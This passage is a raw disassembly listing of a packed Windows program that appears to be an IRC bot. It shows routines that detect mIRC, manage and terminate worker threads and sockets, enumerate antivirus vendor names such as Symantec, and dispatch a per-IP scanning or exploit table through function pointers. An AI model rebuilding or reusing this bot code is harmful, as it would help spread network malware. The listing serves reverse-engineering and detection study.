CODE XREF: .packed:0040AFE2j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42BB2C push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AFBE loc_40AFE4: ; CODE XREF: .packed:0040AFBCj mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AFEA proc near ; CODE XREF: sub_40B08D+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call dword_4270A8 ; GetTickCount xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc_0 ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_40B039 call dword_4CB640 ; FindWindowA test eax, eax mov eax, offset dword_431950 jnz short loc_40B022 mov eax, offset byte_43D7E8 loc_40B022: ; CODE XREF: sub_40AFEA+31j push eax push esi push offset dword_431948 lea eax, [ebp+var_1C] push 1Ch push eax call sub_41B980 add esp, 14h jmp short loc_40B059 ; --------------------------------------------------------------------------- loc_40B039: ; CODE XREF: sub_40AFEA+22j call dword_4CB640 ; FindWindowA test eax, eax mov eax, offset dword_431950 jnz short loc_40B04D mov eax, offset byte_43D7E8 loc_40B04D: ; CODE XREF: sub_40AFEA+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_41B886 pop ecx pop ecx loc_40B059: ; CODE XREF: sub_40AFEA+4Dj lea eax, [ebp+var_1C] push eax call sub_41AFE0 pop ecx cmp eax, 2 pop esi jbe short loc_40B088 push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_41C1E0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_41B5F0 add esp, 18h loc_40B088: ; CODE XREF: sub_40AFEA+7Dj mov eax, [ebp+arg_0] leave retn sub_40AFEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B08D proc near ; CODE XREF: sub_4017ED+7Fp ; sub_401955+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_42DC54 loc_40B099: ; CODE XREF: sub_40B08D+3Fj cmp [ebp+arg_C], 0 jz short loc_40B0B4 lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_41C070 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B0BE ; --------------------------------------------------------------------------- loc_40B0B4: ; CODE XREF: sub_40B08D+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40B0BE: ; CODE XREF: sub_40B08D+25j test eax, eax jnz short loc_40B0D0 add esi, 14h inc edi cmp esi, offset off_42DCCC jb short loc_40B099 jmp short loc_40B0DE ; --------------------------------------------------------------------------- loc_40B0D0: ; CODE XREF: sub_40B08D+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_42DC58[eax*4] pop ecx loc_40B0DE: ; CODE XREF: sub_40B08D+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40B0F1 push [ebp+arg_0] call sub_40AFEA pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40B0F1: ; CODE XREF: sub_40B08D+57j mov eax, [ebp+arg_0] pop ebp retn sub_40B08D endp ; =============== S U B R O U T I N E ======================================= sub_40B0F6 proc near ; CODE XREF: sub_401221+378p ; sub_401221+3B7p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_43E370 loc_40B0FE: ; CODE XREF: sub_40B0F6+18j cmp byte ptr [eax], 0 jz short loc_40B112 add eax, 234h inc edi cmp eax, offset dword_4CB370 jl short loc_40B0FE jmp short loc_40B15D ; --------------------------------------------------------------------------- loc_40B112: ; CODE XREF: sub_40B0F6+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_43E370[esi] push eax call sub_41B5F0 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_43E570[esi], eax and dword_43E574[esi], 0 mov eax, [esp+8+arg_8] and dword_43E578[esi], 0 mov dword_43E57C[esi], eax and byte_43E588[esi], 0 pop esi loc_40B15D: ; CODE XREF: sub_40B0F6+1Aj mov eax, edi pop edi retn sub_40B0F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B161 proc near ; DATA XREF: sub_401ACD+2989o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd push [ebp+var_10] mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] call sub_40B1B3 push [ebp+var_14] call sub_40B412 add esp, 14h push 0 call dword_4270CC ; ExitThread pop edi pop esi sub_40B161 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B1B3 proc near ; CODE XREF: sub_40B161+38p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_431A50 push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h xor edi, edi mov esi, offset dword_43E370 loc_40B1DD: ; CODE XREF: sub_40B1B3+78j cmp byte ptr [esi], 0 jz short loc_40B21E cmp [ebp+arg_C], 0 jnz short loc_40B1F1 cmp dword ptr [esi+204h], 0 jnz short loc_40B21E loc_40B1F1: ; CODE XREF: sub_40B1B3+33j push esi push edi lea eax, [ebp+var_200] push offset aD_S ; "%d. %s" push eax call sub_41B886 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 24h loc_40B21E: ; CODE XREF: sub_40B1B3+2Dj ; sub_40B1B3+3Cj add esi, 234h inc edi cmp esi, offset dword_4CB370 jl short loc_40B1DD pop edi pop esi leave retn sub_40B1B3 endp ; =============== S U B R O U T I N E ======================================= sub_40B231 proc near ; CODE XREF: sub_401ACD+7BA4p ; sub_40B2BF+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_40B2B9 cmp esi, 400h jge short loc_40B2B9 imul esi, 234h push edi push ebx push dword_43E584[esi] lea edi, dword_43E584[esi] call dword_4270AC ; TerminateThread cmp [edi], ebx jz short loc_40B269 push 1 pop ebp loc_40B269: ; CODE XREF: sub_40B231+33j mov [edi], ebx lea edi, dword_43E578[esi] mov dword_43E570[esi], ebx mov dword_43E574[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_40B28A push eax call sub_4199C9 pop ecx loc_40B28A: ; CODE XREF: sub_40B231+50j mov [edi], ebx lea edi, dword_43E57C[esi] mov byte ptr dword_43E370[esi], bl mov byte_43E588[esi], bl push dword ptr [edi] call dword_4CB6CC ; closesocket lea esi, dword_43E580[esi] mov [edi], ebx push dword ptr [esi] call dword_4CB6CC ; closesocket mov [esi], ebx pop edi loc_40B2B9: ; CODE XREF: sub_40B231+Dj ; sub_40B231+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40B231 endp ; =============== S U B R O U T I N E ======================================= sub_40B2BF proc near ; CODE XREF: sub_40111D+18p ; sub_401221:loc_4017D9p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_43E370 loc_40B2CB: ; CODE XREF: sub_40B2BF+2Aj cmp byte ptr [esi], 0 jz short loc_40B2DC push edi call sub_40B231 test eax, eax pop ecx jz short loc_40B2DC inc ebx loc_40B2DC: ; CODE XREF: sub_40B2BF+Fj ; sub_40B2BF+1Aj add esi, 234h inc edi cmp esi, offset dword_4CB370 jl short loc_40B2CB pop edi mov eax, ebx pop esi pop ebx retn sub_40B2BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B2F1 proc near ; CODE XREF: sub_401ACD+418Ep ; sub_401ACD+42E0p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_43E574 loc_40B305: ; CODE XREF: sub_40B2F1+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40B327 test edi, edi jle short loc_40B319 cmp [esi], edi jz short loc_40B319 cmp ebx, edi jnz short loc_40B327 loc_40B319: ; CODE XREF: sub_40B2F1+1Ej ; sub_40B2F1+22j push ebx call sub_40B231 test eax, eax pop ecx jz short loc_40B327 inc [ebp+var_4] loc_40B327: ; CODE XREF: sub_40B2F1+1Aj ; sub_40B2F1+26j ... add esi, 234h inc ebx cmp esi, offset dword_4CB574 jl short loc_40B305 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40B2F1 endp ; =============== S U B R O U T I N E ======================================= sub_40B33E proc near ; CODE XREF: sub_401221+40Fp ; sub_401ACD+97Ap ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_43E570 loc_40B345: ; CODE XREF: sub_40B33E+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40B34E inc eax loc_40B34E: ; CODE XREF: sub_40B33E+Dj add ecx, 234h cmp ecx, offset dword_4CB570 jl short loc_40B345 retn sub_40B33E endp ; =============== S U B R O U T I N E ======================================= sub_40B35D proc near ; CODE XREF: sub_401ACD+2433p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_43E570 loc_40B367: ; CODE XREF: sub_40B35D+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40B380 add ecx, 234h inc edx cmp ecx, offset dword_4CB570 jl short loc_40B367 pop esi retn ; --------------------------------------------------------------------------- loc_40B380: ; CODE XREF: sub_40B35D+10j mov eax, edx pop esi retn sub_40B35D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B384 proc near ; CODE XREF: sub_401ACD+1066p ; sub_401ACD+126Cp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_40B39D push [ebp+arg_1C] call sub_41B779 pop ecx loc_40B39D: ; CODE XREF: sub_40B384+Ej push eax push [ebp+arg_18] call sub_40B2F1 pop ecx test eax, eax pop ecx jle short loc_40B3C9 push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax call sub_41B886 add esp, 14h jmp short loc_40B3E3 ; --------------------------------------------------------------------------- loc_40B3C9: ; CODE XREF: sub_40B384+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax call sub_41B886 add esp, 10h loc_40B3E3: ; CODE XREF: sub_40B384+43j cmp [ebp+arg_C], 0 jnz short loc_40B403 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_40B403: ; CODE XREF: sub_40B384+63j lea eax, [ebp+var_200] push eax call sub_4151AC pop ecx leave retn sub_40B384 endp ; =============== S U B R O U T I N E ======================================= sub_40B412 proc near ; CODE XREF: sub_4017ED+159p ; sub_40B161+40p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_43E584[eax], ecx mov dword_43E570[eax], ecx mov dword_43E574[eax], ecx mov dword_43E578[eax], ecx mov dword_43E57C[eax], ecx mov dword_43E580[eax], ecx mov byte ptr dword_43E370[eax], cl mov byte_43E588[eax], cl retn sub_40B412 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B44F proc near ; CODE XREF: sub_401ACD+7E3Bp ; sub_40B57D+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_40B459: ; CODE XREF: sub_40B44F+68j mov cl, [esi] test cl, cl jz short loc_40B4B9 cmp eax, 1 jnz short loc_40B4B9 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40B4B9 cmp cl, 2Ah jz short loc_40B4A0 cmp cl, 3Fh jz short loc_40B483 cmp cl, 5Bh jz short loc_40B488 xor eax, eax cmp cl, dl setz al loc_40B483: ; CODE XREF: sub_40B44F+26j inc [ebp+arg_4] jmp short loc_40B4B3 ; --------------------------------------------------------------------------- loc_40B488: ; CODE XREF: sub_40B44F+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40B4E5 mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_40B4B3 ; --------------------------------------------------------------------------- loc_40B4A0: ; CODE XREF: sub_40B44F+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40B57D mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_40B4B3: ; CODE XREF: sub_40B44F+37j ; sub_40B44F+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_40B459 ; --------------------------------------------------------------------------- loc_40B4B9: ; CODE XREF: sub_40B44F+Ej ; sub_40B44F+13j ... cmp byte ptr [esi], 2Ah jnz short loc_40B4C9 cmp eax, 1 jnz short loc_40B4E0 inc esi mov [ebp+arg_0], esi jmp short loc_40B4B9 ; --------------------------------------------------------------------------- loc_40B4C9: ; CODE XREF: sub_40B44F+6Dj cmp eax, 1 jnz short loc_40B4E0 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40B4E0 cmp byte ptr [esi], 0 jnz short loc_40B4E0 push 1 pop eax jmp short loc_40B4E2 ; --------------------------------------------------------------------------- loc_40B4E0: ; CODE XREF: sub_40B44F+72j ; sub_40B44F+7Dj ... xor eax, eax loc_40B4E2: ; CODE XREF: sub_40B44F+8Fj pop esi pop ebp retn sub_40B44F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B4E5 proc near ; CODE XREF: sub_40B44F+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40B506 inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40B506: ; CODE XREF: sub_40B4E5+19j push ebx push esi loc_40B508: ; CODE XREF: sub_40B4E5+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40B516 cmp [ebp+var_4], eax jnz short loc_40B562 loc_40B516: ; CODE XREF: sub_40B4E5+2Aj test edi, edi jnz short loc_40B557 cmp bl, 2Dh jnz short loc_40B54B mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_40B54B cmp al, 5Dh jz short loc_40B54B cmp [ebp+var_4], edi jnz short loc_40B54B mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40B557 cmp bl, al jg short loc_40B557 push 1 mov [edx], esi pop edi jmp short loc_40B557 ; --------------------------------------------------------------------------- loc_40B54B: ; CODE XREF: sub_40B4E5+38j ; sub_40B4E5+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40B557 push 1 pop edi loc_40B557: ; CODE XREF: sub_40B4E5+33j ; sub_40B4E5+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_40B508 ; --------------------------------------------------------------------------- loc_40B562: ; CODE XREF: sub_40B4E5+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40B56F mov ecx, eax sub ecx, edi mov edi, ecx loc_40B56F: ; CODE XREF: sub_40B4E5+82j cmp edi, eax jnz short loc_40B578 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40B578: ; CODE XREF: sub_40B4E5+8Cj mov eax, edi pop edi leave retn sub_40B4E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B57D proc near ; CODE XREF: sub_40B44F+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_40B599: ; CODE XREF: sub_40B57D+3Aj cmp [eax], bl jz short loc_40B5B9 mov cl, [ecx] cmp cl, 3Fh jz short loc_40B5AE cmp cl, 2Ah jnz short loc_40B5B9 cmp cl, 3Fh jnz short loc_40B5B1 loc_40B5AE: ; CODE XREF: sub_40B57D+25j inc eax mov [edi], eax loc_40B5B1: ; CODE XREF: sub_40B57D+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_40B599 ; --------------------------------------------------------------------------- loc_40B5B9: ; CODE XREF: sub_40B57D+1Ej ; sub_40B57D+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_40B5C4 inc dword ptr [esi] jmp short loc_40B5B9 ; --------------------------------------------------------------------------- loc_40B5C4: ; CODE XREF: sub_40B57D+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_40B5E5 mov edx, [esi] cmp [edx], bl jz short loc_40B5D6 xor eax, eax jmp short loc_40B645 ; --------------------------------------------------------------------------- loc_40B5D6: ; CODE XREF: sub_40B57D+53j cmp cl, bl jnz short loc_40B5E5 mov ecx, [esi] cmp [ecx], bl jnz short loc_40B5E5 push 1 pop eax jmp short loc_40B645 ; --------------------------------------------------------------------------- loc_40B5E5: ; CODE XREF: sub_40B57D+4Dj ; sub_40B57D+5Bj ... push eax push dword ptr [esi] call sub_40B44F pop ecx test eax, eax pop ecx jnz short loc_40B62F loc_40B5F3: ; CODE XREF: sub_40B57D+B0j inc dword ptr [edi] mov eax, [edi] loc_40B5F7: ; CODE XREF: sub_40B57D+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_40B60F cmp cl, 5Bh jz short loc_40B60F cmp dl, bl jz short loc_40B60F inc eax mov [edi], eax jmp short loc_40B5F7 ; --------------------------------------------------------------------------- loc_40B60F: ; CODE XREF: sub_40B57D+82j ; sub_40B57D+87j ... mov eax, [edi] cmp [eax], bl jz short loc_40B626 push eax push dword ptr [esi] call sub_40B44F neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B62B ; --------------------------------------------------------------------------- loc_40B626: ; CODE XREF: sub_40B57D+96j mov [ebp+var_4], ebx xor eax, eax loc_40B62B: ; CODE XREF: sub_40B57D+A7j cmp eax, ebx jnz short loc_40B5F3 loc_40B62F: ; CODE XREF: sub_40B57D+74j mov eax, [edi] cmp [eax], bl jnz short loc_40B642 mov eax, [esi] cmp [eax], bl jnz short loc_40B642 mov [ebp+var_4], 1 loc_40B642: ; CODE XREF: sub_40B57D+B6j ; sub_40B57D+BCj mov eax, [ebp+var_4] loc_40B645: ; CODE XREF: sub_40B57D+57j ; sub_40B57D+66j pop edi pop esi pop ebx leave retn sub_40B57D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B64A proc near ; CODE XREF: sub_401ACD+2AF5p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_431E6C push eax xor ebx, ebx call sub_41B886 cmp dword_431AD0, ebx pop ecx pop ecx mov edi, 200h jz short loc_40B6BC push esi mov esi, offset dword_431AD8 loc_40B67D: ; CODE XREF: sub_40B64A+6Fj mov eax, [esi] test eax, eax jbe short loc_40B6B2 add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset dword_431E60 push eax call sub_41B886 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C1E0 add esp, 1Ch loc_40B6B2: ; CODE XREF: sub_40B64A+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_40B67D pop esi loc_40B6BC: ; CODE XREF: sub_40B64A+2Bj push dword_4CB374 call sub_41A88B pop ecx push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_41B886 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C1E0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 34h pop edi pop ebx leave retn sub_40B64A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B719 proc near ; CODE XREF: sub_401ACD+2ADFp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, dword_4CE140 mov ecx, dword_4CE13C push esi push dword_4CB374 lea esi, [ecx+eax] call sub_41A88B pop ecx push eax push esi push dword_4CE140 lea eax, [ebp+var_200] push dword_4CE13C push offset unk_431E8C push eax call sub_41B886 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 30h pop esi leave retn sub_40B719 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B785 proc near ; CODE XREF: sub_401ACD+2AC9p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push dword_4CB374 call sub_41A88B pop ecx push eax lea eax, [ebp+var_200] push dword_4CE384 push offset unk_431ED4 push eax call sub_41B886 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 28h leave retn sub_40B785 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B7DA proc near ; CODE XREF: sub_401ACD+2AB3p var_1000 = byte ptr -1000h var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_41BB20 push edi lea eax, [ebp+var_800] push offset dword_431F20 push eax call sub_41B886 cmp dword_431AD0, 0 pop ecx pop ecx mov edi, 800h jz short loc_40B846 push esi mov esi, offset aSymantec ; "Symantec" loc_40B80F: ; CODE XREF: sub_40B7DA+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+var_1000] push offset dword_431F10 push eax call sub_41B886 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C1E0 add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_40B80F pop esi loc_40B846: ; CODE XREF: sub_40B7DA+2Dj push dword_4CB374 call sub_41A88B pop ecx push eax lea eax, [ebp+var_1000] push offset aScanTimeS_ ; " Scan Time: %s." push eax call sub_41B886 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C1E0 push 0 lea eax, [ebp+var_800] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_800] push eax call sub_4151AC add esp, 30h pop edi leave retn sub_40B7DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B8A1 proc near ; DATA XREF: sub_401ACD+30E0o var_3F0 = byte ptr -3F0h var_1F0 = dword ptr -1F0h var_1EC = byte ptr -1ECh var_1DC = byte ptr -1DCh var_15C = byte ptr -15Ch var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_140 = dword ptr -140h var_13C = dword ptr -13Ch var_134 = byte ptr -134h var_124 = byte ptr -124h var_A4 = byte ptr -0A4h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3F0h mov eax, [ebp+arg_0] push ebx push esi push edi push 4Bh mov esi, eax pop ecx lea edi, [ebp+var_134] rep movsd mov dword ptr [eax+128h], 1 lea eax, [ebp+var_134] push eax call dword_4CB674 ; inet_addr xor edi, edi mov [ebp+var_8], eax cmp dword_431AD0, edi mov [ebp+var_4], edi mov [ebp+arg_0], edi jz loc_40BA03 mov ebx, offset dword_431AD0 mov eax, ebx loc_40B8F2: ; CODE XREF: sub_40B8A1+15Cj push [ebp+var_1C] push dword ptr [eax] push [ebp+var_8] call sub_40C087 add esp, 0Ch cmp eax, 1 jnz loc_40B9F3 push dword ptr [ebx] lea esi, [ebx-28h] lea eax, [ebp+var_134] push eax lea eax, [esi+0Ah] push eax lea eax, [ebp+var_3F0] push offset unk_431F70 push eax call sub_41B886 push edi lea eax, [ebp+var_3F0] push [ebp+var_14] push eax lea eax, [ebp+var_124] push eax push [ebp+var_24] call sub_409A72 lea eax, [ebp+var_3F0] push eax call sub_4151AC add esp, 2Ch lea eax, [ebp+var_134] push eax lea eax, [ebp+var_1EC] push eax call sub_41B886 pop ecx lea eax, [ebp+var_15C] pop ecx push esi push eax call sub_41B886 cmp [ebp+var_A4], 0 pop ecx pop ecx lea eax, [ebp+var_A4] jnz short loc_40B98E lea eax, [ebp+var_124] loc_40B98E: ; CODE XREF: sub_40B8A1+E5j push eax lea eax, [ebp+var_1DC] push eax call sub_41B886 mov eax, [ebp+var_24] pop ecx mov [ebp+var_1F0], eax mov eax, [ebp+var_14] mov [ebp+var_140], eax mov eax, [ebp+var_10] pop ecx mov [ebp+var_13C], eax mov eax, [ebx] sub esp, 0BCh mov [ebp+var_150], eax mov eax, [ebp+var_18] push 2Fh mov [ebp+var_14C], eax mov eax, [ebp+arg_0] pop ecx lea esi, [ebp+var_1F0] mov edi, esp mov [ebp+var_148], eax rep movsd call dword ptr [ebx+4] add esp, 0BCh inc [ebp+var_4] xor edi, edi loc_40B9F3: ; CODE XREF: sub_40B8A1+64j inc [ebp+arg_0] add ebx, 40h mov eax, ebx cmp [ebx], edi jnz loc_40B8F2 loc_40BA03: ; CODE XREF: sub_40B8A1+44j push [ebp+var_4] lea eax, [ebp+var_134] push eax lea eax, [ebp+var_3F0] push offset unk_431F3C push eax call sub_41B886 push edi lea eax, [ebp+var_3F0] push [ebp+var_14] push eax lea eax, [ebp+var_124] push eax push [ebp+var_24] call sub_409A72 lea eax, [ebp+var_3F0] push eax call sub_4151AC push [ebp+var_18] call sub_40B412 add esp, 2Ch push edi call dword_4270CC ; ExitThread sub_40B8A1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA56 proc near ; CODE XREF: sub_401ACD+244Ep var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_40B33E test eax, eax pop ecx jle short loc_40BA92 mov eax, [ebp+arg_C] push dword_4CB780[eax*8] call dword_4CB6C0 ; inet_ntoa push eax lea eax, [ebp+var_200] push offset unk_431FC0 push eax call sub_41B886 add esp, 0Ch jmp short loc_40BAA5 ; --------------------------------------------------------------------------- loc_40BA92: ; CODE XREF: sub_40BA56+13j lea eax, [ebp+var_200] push offset unk_431FA0 push eax call sub_41B886 pop ecx pop ecx loc_40BAA5: ; CODE XREF: sub_40BA56+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 18h leave retn sub_40BA56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BACD proc near ; CODE XREF: sub_40C33C+4Fp var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_40BF9F shl eax, 6 xor ebx, ebx cmp dword_431ADC[eax], ebx jz loc_40BF9F push 5 call sub_40B33E test eax, eax pop ecx jnz loc_40BD54 mov eax, dword_429078 push edi mov esi, offset dword_4CD83C push 104h push esi push ebx mov dword_4CDA4C, eax mov dword_4CDA48, ebx call dword_427070 ; GetModuleFileNameA mov edi, offset byte_429108 push 103h push edi push offset dword_4CD940 call sub_41B5F0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CD838, eax mov eax, [ebp+arg_138] push 7Fh mov dword_4CDAD0, eax jnz short loc_40BB80 lea eax, 